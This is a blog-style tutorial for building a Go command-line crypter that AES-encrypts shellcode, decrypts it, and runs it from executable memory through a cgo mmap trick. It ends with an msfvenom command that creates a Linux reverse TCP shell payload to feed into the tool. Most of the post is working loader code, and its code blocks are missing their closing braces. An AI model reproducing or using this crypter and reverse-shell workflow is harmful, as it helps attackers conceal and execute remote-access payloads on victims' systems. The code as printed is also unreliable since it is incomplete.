The goal for this post will be to demonstrate how to write a sort of crypter that will work as a command line utility allowing us to:

Encrypt a file (it’s aimed for shellcode payloads but that’s irrelevant) Decrypt a file Run shellcode

Step One: Encrypt

I choose AES as the cipher. The code looks like this (full source can be found on GitHub):

func Encrypt(key []byte, text []byte) ([]byte, error) {
 // Init Cipher
 block, err := aes.NewCipher(key)
 if err != nil {
   return nil, err
 // Padding
 paddingLen := aes.BlockSize - (len(text) % aes.BlockSize)
 paddingText := bytes.Repeat([]byte{byte(paddingLen)}, paddingLen)
 textWithPadding := append(text, paddingText...)
 // Getting an IV
 ciphertext := make([]byte, aes.BlockSize+len(textWithPadding))
 iv := ciphertext[:aes.BlockSize]
 // Randomness
 if _, err := io.ReadFull(rand.Reader, iv); err != nil {
   return nil, err
 // Actual encryption
 cfbEncrypter := cipher.NewCFBEncrypter(block, iv)
 cfbEncrypter.XORKeyStream(ciphertext[aes.BlockSize:], textWithPadding)
 return ciphertext, nil

The function just creates an AES cipher, then calculates the padding needed and proceeds to encrypt the payload.

Step Two: Decrypt

Now we need to implement the reverse function (again, full source code on Github):

func Decrypt(key []byte, text []byte) ([]byte, error) {
  // Init decipher
  block, err := aes.NewCipher(key)
  if err != nil {
    return nil, err
  if (len(text) % aes.BlockSize) != 0 {
    return nil, errors.New("wrong blocksize")
  // Getting the IV
  iv := text[:aes.BlockSize]
  // Actual decryption
  decodedCipherMsg := text[aes.BlockSize:]
  cfbDecrypter := cipher.NewCFBDecrypter(block, iv)
  cfbDecrypter.XORKeyStream(decodedCipherMsg, decodedCipherMsg)
  // Removing Padding
  length := len(decodedCipherMsg)
  paddingLen := int(decodedCipherMsg[length-1])
  result := decodedCipherMsg[:(length - paddingLen)]
  return result, nil

Step Three: Run

As we are using Go (which does not allow raw bytes execution by default) and the shellcode provided was written for the C stack we need to find a way to execute C code in Go. This can be accomplished by using the “C” package and unsafe pointers.

In C we’d do something like this:

fp = (void *)shellcode

While in Go we need to use some tricks. We’ll use the unsafe package a special pointer that will allow us to use unsafe features:

import "unsafe"
func Run(shellcode []byte) {
  ptr := &shellcode[0]

Then we add the C package, write our C code as a comment right above the import and use the defined function to execute the unsafe pointer. This will behave as the C code presented earlier:

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
void execute(char *shellcode, size_t length) {
  unsigned char *ptr;
  ptr = (unsigned char *) mmap(0, length, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
  memcpy(ptr, shellcode, length);
  ( *(void(*) ()) ptr)();
import "C"
import ("unsafe")
func Run(shellcode []byte) {
  ptr := &shellcode[0]
  size := len(shellcode)
  C.execute((*C.char)(unsafe.Pointer(ptr)), (C.size_t)(size))

Yes, it’s ugly, I know… but you are running unsafe C code inside Go. It should be ugly. Full source code for this package can be found here.

Step Four: CLI

Now that we have the meaty part ready we’ll need to implement some methods to facilitate the tool usage. I implemented some functions to allow the user to fire the encryption, decryption and “decrypt & run” routines using various sets of options.

I won’t go into details for this part as it just reads the parameters provided from os.Args[] and determines which function to execute depending on the input. Source code can be found here.

gocrypt {action} {key} {file}
Action can be: 
  Encryption:     --encrypt -e encrypt e
  Decryption:     --decrypt -d decrypt d
  Decrypt & Run:  --run     -r run     r
Key: must be 16, 24 or 32 chars long
File: must be a valid path

Step Five: Show

We can get the raw bytes for a reverse TCP shell from Metasploit issuing:

msfvenom -a x64 –platform linux -p linux/x64/shell_reverse_tcp LHOST= LPORT=4444 > msfvemonpayload After that, we can use the payload to test our crypter. It’s show time!